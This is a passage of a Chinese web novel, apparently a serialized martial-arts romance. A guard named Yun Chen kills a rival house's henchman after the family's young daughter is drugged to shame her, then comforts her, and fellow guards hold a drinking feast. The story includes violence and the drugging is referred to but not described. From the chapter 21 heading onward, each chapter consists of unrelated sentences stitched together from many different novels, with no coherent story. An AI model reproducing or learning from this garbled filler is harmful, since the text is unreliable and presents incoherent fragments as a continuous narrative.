他用尽全力躲闪开,打了好几个晃才站住,吓得后背一身冷汗,但仍逞强装作淡定,讥讽道:
“小子,你有点不讲武德啊。”
云琛面无表情,一个字都不废话,再次提剑杀去。
周厉连忙挥戟抵挡。
他是奉命去害霍家二小姐来着,只可惜没害成功。
玉阳基之所以让他挑这地方动手,一来是因为平时很难接触到霍家人,二来只是叫那霍二小姐背个臭名声,狠狠丢一丢霍家人的脸而已,并没有实质性伤害。
可周厉没想到,一个小小护卫竟然敢在霍家祠堂祖庙动手,甚至上来就要取他性命。
周厉在玉家几千护卫里,功夫算排的上号的,可他觉得和眼前这个小白脸比起来,不出五招,他必死无疑。
见云琛人狠话不多,长剑要命地翻飞刺挑,剑剑聚满杀意,周厉大急,赶忙打起呼哨。
很快,不等云琛一招打完,十几个身穿玉家服制的护卫们踹开院门,涌进了后院。
一对多,很好。
云琛扫视一圈,心里暗自掂量好击杀顺序,正要动手时,却听玉阳基阴测测的声音传来:
“霍帮护卫好身手,但何必动粗呢,若想要周厉性命,可以到我府上去讨,我一定给。”
玉家护卫们恭敬退到一旁,玉阳基走上前,用毫不掩饰的贪婪目光盯着云琛,令她感到一种发自内心的强烈恶心。
玉阳基围着云琛踱步打量,从上看到下,又从下看到上。
云琛觉得,他很像那只打转的大黑狗。
不,大黑狗都比他看着正常。
“喏,给你的。”玉阳基从随从护卫怀里摸出一锭金子,笑眯眯递到云琛面前。
云琛冷冷打量,露出看屎一样的眼神。
见云琛不为所动,玉阳基又摸出一锭金子,两锭一起伸到云琛面前,语气充满诱导:
“拿着吧,赏你的。”
一般护卫的月钱是四两银子,近卫一月六两,亲卫八两。
眼前这两锭金子最少百两,相当于一千两白银,云琛差不多得干十年护卫,不吃不喝不死才能挣这么多。
玉阳基觉得一个小护卫没理由拒绝,却不料云琛只是冷冷道:
“谢贵老爷打赏,那我便拿这金子买他的命——”
云琛用剑指着周厉,又目光扫视全场,一字一句道:
“或者买你们所有人的命!”
如果不是云琛发现得早,霍阾玉只差一点点就要当众受辱。
等待着她的,要么是活着的无期牢狱,要么是至死都换不来的清白。
想到这些,云琛心里头直冒火,说话愈发难听。
谁知玉阳基听了这极具挑衅的嚣张狠话后,不仅没生气,反而哈哈大笑,满意道:
“很好,吃肉就得啃骨头,越硬的骨头我越喜欢……嘿嘿……”
云琛懒得和这个猥琐的糟老头子废话,立刻就要提剑开打。
那边,周厉手中已暗自攥紧玉家独门媚药“销魂一笑”,就等云琛冲过来,一把撒在她脸上。
只要她吸入那么一丁点,保证叫她比那霍家二小姐还生不如死。
就在场面一触即发之时,霍乾念的声音宛如骤雨浇野火。
他冷硬而从容不迫的声音横插进来,呵斥道:
“云琛,不得无礼。”
第一卷 第19章 永远离开
周围玉家十六个人,云琛准备五招杀十个,自己身上硬抗几刀,再干掉三个。
饶是这样她也觉得不解气,不足以为霍阾玉所受的屈辱报仇。
就差那么一瞬间,云琛就要原地暴起时,却硬生生被霍乾念的声音拉住了缰绳。
“云琛,不得无礼。”
霍乾念的声音仿佛有魔力,所有玉家护卫都下意识远远退开,霍乾念那阴峻的面容出现在云琛视线。
霍乾念身后,一大群霍帮护卫严阵以待,倒叫云琛为这大阵仗愣住了。
叶峮和花绝看见云琛的脸颊上有用力擦过但擦不干净的血痕。
她的护卫服制颇为凌乱,腰带不翼而飞,裤子上还有一滩深色的似乎是血透的印记。
整个人看起来像是已经被欺负过了。
他们二人看见的,霍乾念自然也看得见。
一瞬间,叶峮和花绝就感受到了自家主子身上散发出的骇人怒意。
霍乾念面色结霜,寒声对云琛喝道:
“祠堂重地,岂容尔等宵小撒野!”
云琛正要告罪,玉阳基却自觉嘿嘿一笑,知道霍乾念这是指桑骂槐呢,接话道:
“不妨,这小兄弟想和我身边的奴才过两招而已。”
云琛气骂:“好一句轻描淡写!你们做了什么恶,心里清楚得很!我不过什么屁招,我要姓周的狗命!”
未等玉阳基说话,霍乾念猛一拍轮椅扶手,大声呵斥:
“云琛!不得无礼!”
停顿了一瞬,霍乾念接着又道:
“祠堂重地不可见血——要杀,提到外头去杀!”
既得到霍乾念命令,云琛扬唇一笑,立刻飞身冲去,先一剑狠狠扎穿周厉胳膊,接着拎鸡仔似的攥住周厉的衣领,两步跃出后院。
云琛动作快如闪电,眨眼之间已拖着周厉消失在众人视线。
周厉的血甚至都没来得及滴到地上。
众人只听见叮呤当啷的兵器交接声慢慢远去,接着响起周厉一声惨叫,便再没了声音。
知道周厉必然没命了,在霍家的地盘,不可能占上风,玉阳基桀桀怪笑一声,对霍乾念道:
“打狗也要看主人。霍少主太猖狂了些,养的狗奴才也这么猖狂。”
霍乾念冷笑,“玉家有人却无伦,自然尽是猪狗辈。我家护卫铁骨男儿,一身好武艺,我纵得他们狂。”
“很好,周厉办事不力,该死。霍少主,咱们来日方长。”玉阳基阴笑一声,随即甩袖离去。
彼时云琛正好挥剑溅血,跳回院中,迎面与玉阳基和玉家护卫们擦肩而过。
不知道是不是错觉,云琛感觉到玉阳基好像微微偏头,深吸气,闻了她一口。
见云琛深深皱眉又带些困惑,叶峮靠近她,小声解释:
“这老头儿好龙阳,最喜欢年轻俊俏的男人,你记着离他远一些,你听他那名儿,‘玉阳基’,又阳又基的,不是什么好东西——也离所有玉家人都远远的,当日竹林深院下黑手的就是他们,阴着呢!”
三天后。
等霍阾玉醒来的时候,祭祖早已结束。
玉家也好,周厉和玉阳基也罢,已全都离她远去。
可那些噩梦般的记忆却开始裹挟而来。
她直愣愣地盯着自己闺房熟悉的纱幔,怔怔地看了很久。
大多数时候她都是昏迷的,但还有很多她是清清楚楚记得的。
那一幕幕最肮脏不堪的画面,一一浮现在她的脑海。
霍乾念坐在床榻丈外,清楚地看见霍阾玉脸色苍白如纸,死死咬着颤抖的嘴唇不出声,眼泪像小河似的从眼角不停淌下。
“玉儿,哭吧,下人们都被屏退了。”霍乾念轻声说。
除了更加森严的护卫们,整个院子再无旁人。
可这对霍阾玉来说,又有什么分别呢。
她眉头发红蹙起,哭得身体都开始震颤,却硬是没有发出一点声音。
霍乾念几乎不忍去看她这样子。
“从祠堂到回府,是云琛和小月儿用马车护你回来的,对外只说你突感风寒。谁都不知道发生了什么。
云琛的意思是,他不会讲出关于你的任何一个字,得由你醒来,你自己决定是否告诉我。玉儿,我尊重你的决定。”
云琛。
这两个字仿佛触到了霍阾玉最痛的伤口,她再也承受不住,终于蜷起身子,一头扎进被子里,小声啜泣出来。
那是跳上柳树给她抱猫儿,笑着打趣她会情郎的翩翩“少年”。
在听到可能危险的敲门声时,第一时间将她护在身后,用前所未有的安全感将她紧紧包围。
也是她此生第一次心动的人。
寻常女子,在倾慕的人面前,说错一句话都要气恼。
可她却将最羞耻不堪的一面通通暴露给了云琛。
霍阾玉想,云琛大概一辈子都忘不掉那不堪入目了吧……
哭了很久,直到眼泪都要流干,霍阾玉才鼻音浓重地开口:
“哥,我不想说……作为霍家儿女,我享了该享的福,就得受该受的苦……”
完全没有抱怨,为什么霍玉相争却要殃及无辜的她,只说荣一体,辱亦然。
霍乾念愣了一下,心里蓦地抽痛。
他觉得霍阾玉仿佛一夜之间长大了。
那个飞扬跋扈却天真烂漫的小姑娘,只怕从今以后再也没有了。
霍乾念并不确切地知道妹妹身上到底发生了什么,但根据云琛郑重且一字不肯透露的反应,再结合当时她急于去戏台的异常模样,他大概推测出不少。
良久的死寂过后,他声音低沉:
“玉儿,别哭,哥哥终有一日,会为你报仇。”
霍阾玉麻木地点头。
她不知道霍乾念有没有看见,她甚至不知道霍乾念什么时候离开的。
困乏、羞耻与恐惧,令她在噩梦与现实之中反复跌落,她模模糊糊听见小月儿在哭……却无力分清那真假。
直到入夜,一个轻盈的步子落在窗户旁。
看着烛火将那熟悉的身影投射在窗棂上,霍阾玉才感觉到灵魂又落回躯体。
可仅仅是看着那“少年”剪影,霍阾玉便泪如泉涌,只能拼命咬着被子压抑哭声。
云琛没有劝她哭出来。
她只是安静地在窗外站了很久很久。
“二小姐,从头到尾只有我见到你,碰了你,连小月儿都什么也没看见,不知道发生了什么。所以说,如果那些记忆难以忘记,那我可以——”
可以为了守护一个女子的清白名节,恪守君子之德,一辈子牢牢保守这个难堪秘密吗?霍阾玉心里这样猜测。
谁知云琛却说出了让她彻底崩溃痛哭的一番话:
“那我可以永远离开这里。消失得干干净净。若我离开,便当我死了,是带着这件事一起死了,你只当发了一场噩梦,梦醒,就什么都过去了,好吗?”
那么干脆而坚定的一字一句啊,像刀子似的剧烈搅动着霍阾玉的心,叫她再也压抑不住,放声嚎啕大哭。
云琛再没有其他安慰,只对着月光摊开霍阾玉最喜欢的那话本续集:
“庭前木兰花,皦皦扶春阳……梦里曾经与她画眉……”
云琛轻声念着,湖水般温柔坚定的声音,牢牢包裹住霍阾玉碎玉的哭声。
许久许久,等到哭得两眼红肿,嗓子干哑,霍阾玉才悲哀道:
“我太脏了……不配你对我这样好……”
云琛摇头,“你不脏。是下药的畜牲脏,他们脏他们的,你不要怪自己头上。”
霍阾玉闭了闭眼,再无眼泪落下。
她伏在枕头上,心里回想着云琛的话,慢慢安静睡去。
“云琛,别走,更别死。”
第一卷 第20章 最厉害,也死得最快
先救霍乾念,后救霍阾玉。
几次三番厥功甚伟,云琛算是彻底在霍帮站住脚。
不仅考察期直接通过,签下真正成为一名霍帮护卫的身契,更引得众人纷纷猜测:
她大概要荣升霍乾念身边的第四亲卫了。
虽然霍乾念迟迟没有下令,但众人实在忍不住,撺掇着叶峮搞了个庆功宴,说什么也要不醉不归一场。
叶峮安排好府中班次等一干事宜后,便叫夫人去买来好酒好菜。
一大帮刀山火海里滚出来的汉子,聚在叶峮家小小的后院,推杯换盏,划拳打架,好不热闹。
叶峮揽着云琛的肩膀,感慨道:
“青禹州那日,若不是你提前发现,给了我们调动时间,只怕……唉!不说了!喝酒!”
叶峮和云琛干了一碗,又高兴道:
“不过现在好了!这次你救了二小姐,又立大功,少主肯定舍不得杀你了!”
云琛疑惑,霍乾念知道她是带猫刺客吗?不禁发问:
“少主啥时候想杀我了?我怎么不知道?”
叶峮尴尬地咧咧嘴,赶紧扯开话题。
二人正喝着酒,花绝突然提着一个酒坛,气势汹汹地走了过来。
他站到云琛面前,面无表情地瞪了云琛一会,然后“咣当”一声,将酒坛重重砸在桌子上,开始给自己倒酒。
所有人都被这声音吸引得看过来。
见花绝一声不吭,喝了一碗又一碗,众人不由哄笑着吹起口哨。
云琛有点迷茫地挠头,正要发问,却感觉肩膀一紧,一个身影自来熟地贴着她坐下,拿过她的酒碗喝了一口,笑道:
“花绝这厮是给你道歉来了!他犟得很,很少对谁低头,看他这样子,是真对你服了!你若不喊停,他今天非把自己喝死为止,方能表示他对你说不出口的歉意、愧疚、悔恨……”
云琛看着这个刚回来没几天的亲卫——不言。
听着他对花绝的激情解说,她好像突然知道,霍乾念为什么亲自给这个亲卫改名叫“不言”了。
只可惜,不言从来没体会到霍乾念的“良苦用心”,一边不停给云琛倒酒夹菜,一边又絮叨开:
“我在漕运上办差的时候就听说你了,能在水底潜一个时辰!是真的吗?太厉害了!哎对了,听说少主把隐月剑给你了,你剑法得多俊啊,才能让少主这么大方,以前那剑他都不让人碰的!我真佩服你!还有前几日,少主收拾韩家人的烂尾巴,据说当众把东西扔到韩家那个泼辣没规矩的大小姐脸上,太爽了!要不是你在青禹洲护了少主,少主哪有这甩手无情的机会啊!还得是你!云琛!哎你给我说说在祠堂杀玉家狗的情景呗,二小姐到底咋了,我问遍府里上下也没人知道……”
下水潜一个时辰?我是王八吗?云琛无奈好笑,被不言吵得头痛不已。
再看面前还在自杀式灌酒的花绝,她要是再不管,只怕花绝真的会“以酒自尽”。
她赶忙抢下酒坛,咣咣一顿猛灌,算是接受了花绝的道歉。
本就是一群铁血忠义的好男儿,男人之间无需多言,一坛酒足够化敌为友。
花绝明显喝高了,红着眼睛道:
“你当时干嘛不说,你只是半年前答应过人家红坊的姑娘,要帮人买发带而已!我还冤枉你喜欢男人呢!”
云琛尴尬咧嘴,心说:这倒不冤枉,不冤枉……
“当时不是要外出护卫吗?谁知道是生是死,我既答应过人家,总要没有牵挂的好。”云琛解释。
此话一出,众人都沉默了。
他们聚在一起吃喝笑闹,不过是想偶尔放松麻痹一下自己。
今日坐在一个桌子上喝酒的兄弟,也许明日就会天人永隔。
每次吃酒,叶峮都会摆几个空碗。
大家心照不宣,没人去问,都知道那是给战死在每次护卫行动中的兄弟们的。
可死的实在太多,前赴后继,一批又一批,多的连叶峮都记不清名字了。
见气氛变得沉重,叶峮赶忙打圆场:
“嗐!今朝有酒今朝醉!那走路有摔死的,喝水有呛死的,难不成不吃不喝啦?咱干的就是护卫这行,凭本事活命,阎王要咱三更死,咱偏偏二更就死——吓他阎王爷一跳!”
“哈哈哈哈哈哈——”众人哄堂大笑,气氛重新热络起来。
花绝却在一旁开始抽泣,哽咽道:
“云琛,我对不起你,不知全貌就编排你,不过少主拿柳条抽了我二十下,我脸肿了半个月,你呢?给你也打疼了吧?”
云琛毫不在意地摆手:“就打了我五下手心,挠痒痒一样,不疼。”
花绝听罢,“哇”一声哭了出来。
不言赶紧嘴替上场:
“花绝这小子心里只有少主,以前我来少主身边的时候,他也来了这么一出,说白了就是吃醋!哈哈哈!他需要点接受新人的时间。你不觉得花绝有时候挺像少主吗?有一阵他特喜欢模仿少主,吃喝拉撒,表情语气,神态坐卧,什么都要跟少主学,最后硬是给少主整烦了,被少主一砚台丢出去了……话说咱少主英俊潇洒,威风凛凛,身强体健,老少皆宜……”
听着那念经似的絮叨,云琛不好意思驳不言的面子,只得偏过头,用手挡着脸,小声问叶峮:
“你不是说,他极擅长隐匿追踪,算半个暗卫吗?那他办差时是怎么忍住不说话的?”
看着云琛备受折磨的样子,叶峮失笑:
“做暗卫的时候,说话会死;不做暗卫的时候,明显他不说话会憋死。”
暗卫极难培养,又非常神秘,成日里神出鬼没,只有主子本人知晓其情况。
霍帮财力雄厚,这些年也只培养出三五个暗卫。
不言难得算半个,已经很珍贵了。
“我要对不起少主了,一会我想给不言毒哑!”云琛说。
叶峮重重点头,“行,我给你盯风!”
酒过三巡,一群大男人喝了半夜,纷纷离席散去。
哭天抹泪耍酒疯的花绝,是被絮絮叨叨关不上嘴的不言扛走的。
云琛最后一个离开,见墙边摞着两大筐刚刚喝完的空酒坛子,她便一边笑骂着花绝,一边顺手扛起筐子甩在肩上,大步流星而去。
叶峮的夫人胡氏出来的时候,正好瞧见这一幕,不禁眼神一暖。
那些个酒坛子,她每次都要搬好几趟,蹭的裙子上都是灰,忍不住感慨:
“今日新来的那个小兄弟,就是你说的云琛吧?看着还是个没长大的孩子呢!”
叶峮将桌子上的残羹剩饭扫进桶里,与胡氏一起打扫。
“才刚十七,人小,但本事不小,是个好苗子。”
胡氏笑道:“希望咱家小子将来也能这么有本事,长得好,本事好,人也好——他还帮我把酒坛子扛走了。”
一说到自己儿子,叶峮心里不自觉地换了个站位,用更加审视和旁观的角度去看云琛。
叶峮心想,如果我的儿子将来是这样……
想了一会儿,叶峮直摇头,“不成,咱儿子不能像云琛这样,不能不能!”
“你天天云琛长云琛短,这会咋了,又看不上了?”
叶峮突然放下手里的东西,表情凝重地看着空中,叫胡氏吓了一跳,忙问:“怎么了?”
叶峮想了很久,只是摇头叹息,“算了,我说了你也不懂。”
听了这话,胡氏登时柳眉一拧,拽着叶峮坐下,“嫁鸡随鸡嫁狗随狗,你们这行啥事我不懂,你说说看!”
叶峮拗不过胡氏,只好在桌子上选了块干净地方,将三根筷子摆成一个三角形,道:
“护卫之术乃攻、防、守,‘攻’占首要,‘防与守’虽次要,但占八成,方能保命,有命才有‘攻’。可云琛是这样——”
叶峮一把打掉两根筷子,将仅剩的一根摆正,直冲向胡氏。
一瞬间,胡氏感觉冲着自己的不是一根筷子,而是一把剑。
“云琛几乎没有‘防和守’,只有杀意十足的进攻,每一次动手都是全力攻杀。”
似乎怕胡氏理解不了,叶峮解释:
“一般护卫们动手之前,会估计敌我力量悬殊,知道要出多大力气。很多护卫干久了,为了活命和省力,特别精于此道。云琛却心无杂念,只有以命相博,好像早已将自己性命安危置之度外,根本不怕死。”
“不怕死?干你们这行,不怕死大约是最厉害的了吧?”
“是最厉害,但也死得最快。”
叶峮回想起云琛挥剑时的眼神,杀气腾腾,毫无惧意。
像是在这世上没有任何留恋和牵挂,随时随地可以舍出自己这条命。
他又道:
“命是底线,是顾忌,是束缚。云琛不惜命,所以他最强,可这样的人又能活多久呢?”
胡氏半知半解地点点头,忍不住叹息:
“若是爹娘捧在心尖上长大的,哪舍得这么好的孩子出来卖命。我听你说,云琛之前已在各地武馆流转五年了,那便是十二岁前吃了练本事的苦,紧接着就出来流浪了,唉……才十二岁呀……”
第一卷 第21章 有点上头
贞宁又叫了两声,可门外却静悄悄的,没有人应答,一点声音都没有,似乎那人是走了。
下面的人脸色都有些不好,然后开始交头接耳,林清清也没有打断他们,让他们说,就看他们能讨论出什么吧。
对于刘征臣,刘非自是格外疼爱,甚至宠溺到娇纵的地步,在王府里向来是要风得风,要雨得雨,便是闯了祸,向着父王稍稍撒娇耍赖,也多就免了责罚。
义渠骑营、瓯骑、闽骑及两支乌桓骑营则转往河西走廊,尽数与胡骑和羌骑混编重整,七支骑营皆更其名,以主杀伐的西方七宿名之,是为奎、娄、胃、昴、毕、觜、参。
但还未等方华天他们避开,那虫子就仿佛找到了对手般,向着玉厉飞了过去。
但饶是这般嘉靖帝也没有放出海瑞,直到他驾崩,海润才得以从黑牢之中放出。
南宫云遥接过了戒指跟玉石,跟老者行了一个礼,在周围队伍那些嫉妒的眼光中离开了广场,向着玉萧他们等候的地方走去。
炼器不是简单的研究材质和引导灵力共鸣的能力就行了,就像是编程一样,你得学会计算机语言才能与世界对话。
而此时,方华天跟李九等一行人也已经取出了武器,向着那十几个找茬的人发动了攻击。
一个存在了几万几十万年之久,几乎与人类的历史一同成长的力量体系,就算最近几千年中处于低估状态,被骑士和牧师的光辉压过。
这个神秘势力就是贝利亚,而矿石就是他从异宇宙找到的艾美拉娜矿石,可惜他当初用了不少,得知安培拉星人竟然弄出了机械奥特曼,而且可以堪比真正奥特曼大半的战力,贝利亚当即把仅剩的一些矿石送了过去。
“电梯竟然好了,你们这是。”梶尾队长很吃力的走过去想要找蒋峰队长理论。
这让一心想要超过关山虎成绩的关阳极为失落,偷偷的哭了一场,埋怨自己不争气。
“呵呵……听说卡帕佐组长要抓我们CIA的人,我这个情报处主管当然要过来看看了。”斯密斯笑了一下说道。
只见那两个汉子突然身子抖了抖,接着一软瘫倒在地,那粗壮的身子倒下时砸得地板“轰隆”一作响,连带着整间屋子都似乎跟着震了一震。
看着他说不出话的样子,我在路边招了招手,现在得赶紧回家,跟他啰嗦个什么劲。
她知道李寻欢一定会实现这诺言,她也信任李寻欢绝不会说出这秘密。世上绝没有任何人不信任李寻欢,就连他的仇人都不例外。
同时手下人却又已经被他逼迫到了最高压了,他们的疯狂不管是处于什么样的心理,乌木至少在实际中看到了结果,此时就算再强压他们也没有什么用,这个时候乌木除了烦躁外,真的也是很难还有其他情绪了。
尤其是在现代社会,在这个年代,像关晓军这种天才少年作家,更是媒体的宠儿,记者们不断的采访,已经完全打乱了他的正常生活,直到他不再接受任何采访为止,这波浪潮才缓缓平息。
“好孩子,爷爷希望你能完成自己的使命和国家的重托。”杨志忠也有些激动的说道。
罗尘感受很深,他被冲击的差一点背过气去,元婴境界的高手,就算一点余波,也是这么的强横。
苏离有些埋怨的瞪向原无争,转身就是一柄折扇挑起了道长的下巴。
因为这件事情,谢晓萌第二天也没有来,谢夫人打电话给江老夫人,合计想了一个办法,所有人一起都去了谢家,原本过年也要去拜年的,正好商量一下婚事。
茅屋门口,守着那只尖耳朵毛兔子!不知何时,他竟然也从梦里跟了出来,就一直蹲在屋门口呢。
拘谨地蜷缩在婚床的一侧,背对着夏墨翰,沐晚春只希望睁开眼,天就亮了。
“仗着是江总裁夫人就那么嚣张,你是来公司做事的吗?”墨冰儿扬起头故意说的很大声,巴不得说话的声音能传到办公室外面,让公司所有人都听到。
然而,还没等他松开手,苏离已经找准时机,开始得寸进尺起来。
“听上去我的处境其实蛮好嘛,抢手的香馍馍,这定位我喜欢!”路明非眉飞色舞起来。
“那是什么?”这种想法在学园都市的千家万户的人脑海中环绕着。
罗尘一翻白眼,我给你夹酥饼你不也没说谢谢。不过你是老大,一切依你为准。
就如大家时常所说的那句话一样:时间就像是海绵里的水,倘若真的是想要去挤,其实总还是有的。
话刚出口林逸风就想狠狠地抽自己一耳光,这种情况难道不应该一口拒绝么。
老仙尊是炼魂大陆上有明的星相师,放眼整个炼魂大陆,能在观星之术上超过老仙尊的人,恐怕屈指可数,至少叶寒并不知道第二个。
“那就要看你的本事了,如果你不想把一百多条命全都交代在这里,就拼命的跑!”叶寒再次开口。
于此同时,周围浓郁的火属性灵气开始疯狂涌入黄玄灵的体内,被黄玄灵给吸收炼化。
获知此噩耗之后,殷天阙几近晕倒,原本寄希望于殷家子弟这次可以从秘地内带出一些宝物,以便再次振兴殷家,哪知不但宝物没有带出来,进入的三十几名殷家子弟也从此留在了秘地之内。
另外,更应该推崇的,还是这种超级重型坦克的强大防御。一般的重型坦克或者是重型坦克,至少要对她连续攻击十几次,才可以将其摧毁。如此强悍的防御能力,究竟是多么可怕,由此可见一斑。
无数的摩托车,实际量装甲车,几十支高斯步枪,还有几百名武士。
庐山会议有借口,你这番话是最大的借口,要不是根红苗正革命军队干部出身,不打你个反革命才怪呢。
第一卷 第22章 扶一下,扶哪里?
和国的边防军就是这时候登上了列车,封闭了车门,开始查验证件和行李。
很多队伍会选择在这个时候去参加一些其他的比赛,不过罗硕不打算这么做,re不缺那点名声。虽然re去打,是可以遇到一些lpl级别的队伍,但是付出和收益是真的不成正比,还不如窝在基地基地里训练。
何子欣微笑着冲陈媛挑了挑眉,然后把眼神落到了徐宁身上,像是在看待自己的猎物一般。
可是,却偏偏还有人很不要脸的说道:“我感觉我发挥出它全部的威力,只可惜我的内力还不够,否则肯定不只是这样。”说话的正是那个第三名的男人。
他们也没有刻意排成个什么队形,但是所有人都围在夜君和黑狮周围,那个走在相对靠前位置的,叫凉月的,貌似是魔侍头头的黑衣人,脸上夸张的鹰钩鼻微微皱了皱鼻梁,又瞪了回头看自己的鬼面人一眼。
随着猴子的一声令下,整个山洞中的猴子都行动了起来,几分钟后徐宁面前的石桌上便摆满了水果。
不是楚月明有毛病,就是她楚夏神经了!楚月明自己找死,哪里还怪得了别人给她埋上。
“唔,阿衍,我有些想孩子了,可以让我见见孩子吗?”夏以若又开口道,这两天孩子怕是受到惊吓了吧,夏以若有些心疼孩子。
他面容上绽着优雅得体的淡淡微笑,黑色礼服白衬衫,衬得他身形颀长秀挺,蓬勃朝气扑面而来,俊美逼人。
此时的敖问悄无人息的来到厨房,看着正在弄东西吃的呆妹儿,看着看着,身体竟然起了反应,但是反应很微弱,一下子压了下来。
此时此刻,周秦将周延之换下的骑装铺在大方桌上,又摊开了自己脱下的那一身装扮,惊魂初定地瘫坐在椅子上。
所以,爱丽丝一点儿也没有察觉,眼前的这个大男孩,就是当初在蜂巢中认识的那位。
三人穿过大殿外的禁制,进入大殿,大殿内温度舒适。与禁止外仿佛处于两个不同的天地。
他轻声唤了她一句,过了半晌,她坐起身来,对着自己惨然一笑,往日灵气逼人的眼睛呆滞无神。
妖牛猛然一发力,便将他甩出,晨枫后背着地,震出一口老血来。
她说话毫无忌讳,对着田太后,透着一股子理直气壮的亲昵,依旧是许多年之前自己在宫中的做派。
“你想多了!你们神族,与其他大世界的人,以及那个仙界大人物,都是我此行的目的之一!你这具身体,同样如此!”马俊轻笑道。
一月匆匆而过,晨枫每日不间断地砍伐大量木柴,其肉体力量得到显著提升,经脉的容量与坚韧程度,也是显著增强,已是有能力一日服食三粒聚气丸,消耗一枚半的火阳石。
闻言,孤冷少年大为不解,他本以为周林找上自己,是看重自己“剑道天才”的名号,想要借机铲除异己……却不想,此人居然要自己去杀魔族?
脸上的羞赧难掩,红得通透,却还是在他身旁依偎了下来,‘玉’手渐渐往他衣内探去。
傅承爵停下脚步,半晌才回过头,他不说话,等着傅嘉义的意思。
凌东舞出来后先往伊稚阔去的方向走了一段,然后绕向西,见四处没人,迅速的往绿湖跑去。
舒池惊魂未定,战战兢兢地去泡了温泉,温热的水依然也让她无法从刚才才震惊里平静下来。
“所以我才要你报恩。帮助我建功。好摆脱警方的麻烦。”左林帆道。
白面公子看着周遥的背影摇了摇头,然后丢出了自己手中的扑克,方块a。赢的其实是他自己,但是他还是放了周遥,因为这是雷凝秋的命令,他们已经完成了杀杨树煌为冰艳报仇的人物。
“什么!”杨若离真没想到秦风展会轻飘飘抛出这么爆炸‘性’的消息。
“秦玉衡,我是来救人的,你应该清楚我不会乱来!”李嚣没有过多的解释,就把手机给丢到了地上,和清荷已经来到了三楼的楼梯口。
林漠半个身子往外探了探,见对面办公室的黎洛薇已经低头开始工作,专注的样子很是动人,对她的好感度不禁又加十分。
“树哥,老子没丢帝雄的脸!”耀仔脸上已经没有了血色,嘴角的血迹都凝固了。他睥睨着倒在地上那太子帮近百人的尸体,冷笑了起来。
看着王子君一副云淡风轻的模样,裘加成的心顿时放下了不少,对于这种传言,裘加成虽然不全信,但是也不无担心,在他看来,这种事情也不是没有可能。
二十八皇子洪安山,端坐在王座之上,他手中把玩一个白骨头颅,猩红的血液在其中流转翻滚,脸上残忍的笑容展现,他居然将头骨中的血液一饮而尽。
尽管会耽误一些时间,可若是能将七彩天灵草炼制成回魂丹,那却是安全多了。
“行,不过现在已经晚了,下次我们再见吧!”秦峰拜拜衣服,打算撤。
老二十八洪安山自废武功,跪立在地上,一身气息虚弱到了极点,脸色苍白到了极点。
“你做得很好,今天的事情我会给你们奖赏的。现在,你们全部撤离!”楚乔打开门,对着众人说道,缓缓地走进着柳倾城。
而da战队这边,前中期凯南和鳄鱼的作用也都很大,这一波打起团战来,鹿死谁手还真不好说。
第一卷 第23章 极品金梨木
“这样好了,我也懂得一些医术,咱们找个地方,我帮大姐看看吧”!杨凡沉吟了一下,说道。
“说的一点都不错,初夏就是顾楠潇得解药。嘿嘿,顾楠潇你就好好的等待初夏回到你的身边吧!”说完,她和周贤互相看了一眼对方。
刀锋入肉的沉闷声响起,火焰刀直接焚烧了鞑靼魑的虎头,而对叶玄发动的第二次攻击随之停了下来。
“存在感”是一种玄之又玄的东西,但其本身便是人体现出来的一种气质,是一种场的交互、干涉的结果。
而杨凡则是以灵蛇剑攻击其他的地魔,如夜叉,牛魔等等,一时之间,杨凡竟然如入无人之境,没有多长时间,就杀了上百头的地魔。
婠婠自然是没有本事分析出这些的……但她却可以召唤:井野只是看了一眼,就从王波拙劣的轨迹中判断出了王波的目的地。
从录音间出来后看到了直播,一脸茫然的看着经纪人和录音老师。
“当时我带着你逃了出来,具体的情况如何我也不知道”沈源说道。
“我和初夏不喜欢喝红酒,端木学长的好意,我们心领了。再次谢过端木学长。”易菲笑眯眯的说道。
这种理论化的、极限的假设,现实中根本不可能存在。也只有通过电脑进行模拟,才能够得到一个比较“靠谱”的结论——至少在数学上,这个结论是成立的。这,就已经足够了。
之前春溪已经跟路遥请假,说今天要回家一趟,所以她这样说路遥也没有怀疑,确定她还算清醒,嘱咐了两句,就自己先走了——毕竟她也还有事要做。
这种情况下不给自己治疗,竟然给将要阵亡的纳尔?这样有用吗?
钟离伯谦与司马访琴在客栈歇息了一宿之后,在城外与尉子瑜、黑月会合。钟离伯谦从没想过,有一天他会用自己最真实的一面与尉子瑜走在一起。
苏晴雪、王扬、向云飞三人乃是同一批加入风云宗的弟子。不过苏晴雪和王扬受到风云宗重视,宗门资源倾斜,他们二人都发展得不错。在风云宗乃是排名靠前的年轻一辈弟子,修为达到了武徒七重天,风光无限。
向云飞似乎对杨念不怎么感冒,看都没看杨念一眼,然后便行至场中,施展寒光十三剑。
他知道,自己想要击败对方,只能等到实力完全恢复了之后才有可能。
皇室武者不敢在凌霄面前撒野,可是面对自己的属下,却能够耀武扬威。
“只是有的乡民难免觉得,我们每年都辛苦耕作,到头来还要送给他铜锣寨,他们才不会想得那么远呢。”罗把事看着罗霸林说到。
因为天道恶念意志的加持,杨宇的所有灵念都带有极强的负面能量,每枚灵念上都附带着无尽的恶意,那是来自于天地间的恶意。
但是因为灵气复苏的缘故,实际上有一些武道金丹在进阶的时候,心境并不是那么的稳定。
为什么她会感觉自己的左胳膊,不是摔的,而是被人打断的,那种折骨的疼痛,就存在她的记忆里面,她的手在被子里面摸索着什么,最后才是将那个娃娃拉了出来。
萧凌知道龙碧君在安慰自己,他现在压抑心态缓解了很多,龙碧君说的不错,要有斗志才行。
萧凌没有继续管七窍玲珑心了,短时间他是不可能开启七窍玲珑心第二窍,虽说只开启了第一窍,他明显感受到了周围波动的不一样。
这种感觉刚生,突然间周围的气息微变,脚下的土地似是也有明显的颤动,所有的人心中都有些疑惑,但是交战依旧继续。
曲英杰如今来公司上班也算得上是岳芯蕊的下属,听候命令的跟在她的身后。
目光没有一丝的改变,宛利剑般的眼神仍然投放在半鱼人长老的身上。
“深渊入口不会开启,即使是你爷爷来了也是如此。”奚朗超冷冷的说道。
慕容欧的眼神倏然冷了,身形如风地躲过花错的攻击,余光瞥见林心也被摁进水里,当下不客气地还击花错。
迦南对这个大黑脸是真心有些发憷的。好在芷月是个大方的,又温柔漂亮够意思,哼!才不去理那个大黑脸,他有芷月妹子足够了。
众臣们争论得太过激烈,好一会才发现气氛不对,这才纷纷闭上了嘴,看向白子玉与乾宗,不知这二人如此神情是何意思。
拍摄场上的侯路指挥若定,声威很重,使人很难想象的出刚才那个抹眼泪下跪的人会是他。
朱厚煌立即使了一个眼色,让所有的人都退了出去,朱厚煌说道:“还请王师救我。”说完就要向下跪。
